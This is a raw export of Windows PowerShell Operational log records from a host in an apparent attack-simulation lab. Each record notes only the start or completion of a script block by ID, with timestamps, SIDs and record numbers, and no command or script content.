Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036238
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036237
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036236
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036235
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036234
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036218
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036217
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036212
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036211
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
